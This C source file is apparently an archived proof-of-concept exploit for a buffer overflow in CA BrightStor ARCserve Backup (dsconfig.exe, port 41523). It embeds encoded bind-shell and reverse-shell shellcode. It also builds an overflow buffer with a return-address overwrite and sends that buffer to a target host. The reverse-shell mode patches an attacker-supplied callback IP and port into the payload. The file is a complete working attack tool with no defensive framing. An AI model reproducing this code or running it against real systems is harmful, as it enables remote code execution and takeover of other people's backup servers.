/*
* CA BrightStor ARCserve Backup Buffer Overflow - dsconfig.exe
*
* cybertronic[at]gmx[dot]net
*
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define PORT 41523
unsigned char bindshell[] =
"\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff\xff\xff\x81\x36\x80\xbf\x32"
"\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff"
"\x03\x53\x06\x1f\x74\x57\x75\x95\x80\xbf\xbb\x92\x7f\x89\x5a\x1a"
"\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09\xf9\x3a\x6b\xb6\xd7\x9f\x4d"
"\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6\xb3\x5a\xf8\xec\xbf\x32\xfc"
"\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf\xeb\xcd\xc2\x88\x36\x74\x90"
"\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad\xbe\x32\x94\x09\xf9\x22\x6b"
"\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81\xbf\x32\x1d\xc6\xab\xcd\xe2"
"\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81\xbf\x32\x1d\xc6\xa7\xcd\xe2"
"\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80\xbf\x32\x1d\xc6\xa3\xcd\xe2"
"\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80\xbf\x32\x1d\xc6\x9f\xcd\xe2"
"\x84\xd7\x96\x39\xae\x56\xda\x4a\x80\xbf\x32\x1d\xc6\x9b\xcd\xe2"
"\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80\xbf\x32\x1d\xc6\x97\xcd\xe2"
"\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80\xbf\x32\x1d\xc6\x93\x01\x6b"
"\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81\xbe\x32\x94\x7f\xe9\x2a\xc4"
"\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6\xa3\xb9\x4c\xd7\xe8\x5a\x96"
"\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3\x40\x64\xb4\xd7\xec\xcd\xc2"
"\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50\xd7\x57\xec\xe5\xbf\x5a\xf7"
"\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4\x32\x0e\xb0\xb3\x7f\x01\x5d"
"\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4\xaf\x76\x6a\xc4\x9b\x0f\x1d"
"\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4\x9b\x62\x19\xc4\x9b\x22\xc0"
"\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f\xc9\x02\xc5\x7f\xe9\x22\x1f"
"\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b\x77\x65\x6b\xd6\x93\xcd\xc2"
"\x94\xea\x64\xf0\x21\x8f\x32\x94\x80\x3a\xf2\xec\x8c\x34\x72\x98"
"\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89\x34\x72\xa0\x0b\x17\x8a\x94"
"\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80\xec\x67\xc2\xd7\x34\x5e\xb0"
"\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83\x6a\xb9\xde\x98\x34\x68\xb4"
"\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83\x4a\x01\x6b\x7c\x8c\xf2\x38"
"\xba\x7b\x46\x93\x41\x70\x3f\x97\x78\x54\xc0\xaf\xfc\x9b\x26\xe1"
"\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c\xf4\xb9\xce\x9c\xbc\xef\x1f"
"\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b\x6a\x6d\xca\xdd\xe4\xf0\x90"
"\x80\x2f\xa2\x04";
unsigned char reverseshell[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9"
"\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3"
"\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE"
"\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99"
"\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF"
"\x89\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6"
"\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF"
"\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD"
"\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD"
"\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD"
"\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66"
"\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66"
"\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB"
"\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3"
"\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3"
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17\xD7\x97\x75"
"\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52\x74\x65\xA2"
"\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0";
void
exploit ( int s, unsigned long cbip, unsigned short cbport, int option )
{
char buffer[4129];
unsigned long poppopret = 0x23805714;
bzero ( &buffer, sizeof ( buffer ) );
memset ( buffer, 0x41, sizeof ( buffer ) - 1 );
buffer[0] = 0x9b;
buffer[1] = 0x53; //S
buffer[2] = 0x45; //E
buffer[3] = 0x52; //R
buffer[4] = 0x56; //V
buffer[5] = 0x49; //I
buffer[6] = 0x43; //C
buffer[7] = 0x45; //E
buffer[8] = 0x50; //P
buffer[9] = 0x43; //C
buffer[10] = 0x18;
buffer[11] = 0x01;
buffer[12] = 0x02;
buffer[13] = 0x03;
buffer[14] = 0x04;
buffer[15] = 0x53; //S
buffer[16] = 0x45; //E
buffer[17] = 0x52; //R
buffer[18] = 0x56; //V
buffer[19] = 0x49; //I
buffer[20] = 0x43; //C
buffer[21] = 0x45; //E
buffer[22] = 0x50; //P
buffer[23] = 0x43; //C
buffer[24] = 0x01;
buffer[25] = 0x0c;
buffer[26] = 0x6c;
buffer[27] = 0x93;
buffer[28] = 0xce;
buffer[29] = 0x18;
buffer[30] = 0x18;
memcpy ( buffer + 1056, "\xeb\x06", 2 );
memcpy ( buffer + 1060, "\x14\x57\x80\x23", 4 );
if ( option == 0 )
{
memcpy ( &reverseshell[111], &cbip, 4);
memcpy ( &reverseshell[118], &cbport, 2);
memcpy ( buffer + 1064, reverseshell, sizeof ( reverseshell ) - 1 );
}
else
memcpy ( buffer + 1064, bindshell, sizeof ( bindshell ) - 1 );
printf ( "attacking with %u bytes...", strlen ( buffer ) );
write ( s, buffer, strlen ( buffer ) );
printf ( "done!\n" );
close ( s );
}
int
main ( int argc, char* argv[] )
{
int s;
unsigned long cbip;
unsigned short cbport;
struct sockaddr_in remote_addr;
struct hostent* host_addr;
if ( argc != 2 )
if ( argc != 4 )
{ fprintf ( stderr, "Usage\n-----\n[bindshell] %s <ip>\n[reverseshell] %s <ip> <cbip> <cbport>\n", argv[0], argv[0] ); exit ( 1 ); }
if ( ( host_addr = gethostbyname ( argv[1] ) ) == NULL )
{ fprintf ( stderr, "Cannot resolve hostname: %s\n", argv[1] ); exit ( 1 ); }
remote_addr.sin_family = AF_INET;
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
remote_addr.sin_port = htons ( PORT );
s = socket ( AF_INET, SOCK_STREAM, 0 );
printf ( "connecting to %s:%u...", argv[1], PORT );
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
{ printf ( "failed!\n" ); exit ( 1 ); }
printf ( "ok!\n" );
if ( argc == 4 )
{
cbip = inet_addr ( argv[2] ) ^ ( unsigned long ) 0x99999999;
cbport = htons ( atoi ( argv[3] ) ) ^ ( unsigned short ) 0x9999;
exploit ( s, cbip, cbport, 0 );
}
else
exploit ( s, ( unsigned long ) NULL, ( unsigned short ) NULL, 1 );
}
// milw0rm.com [2005-08-03]
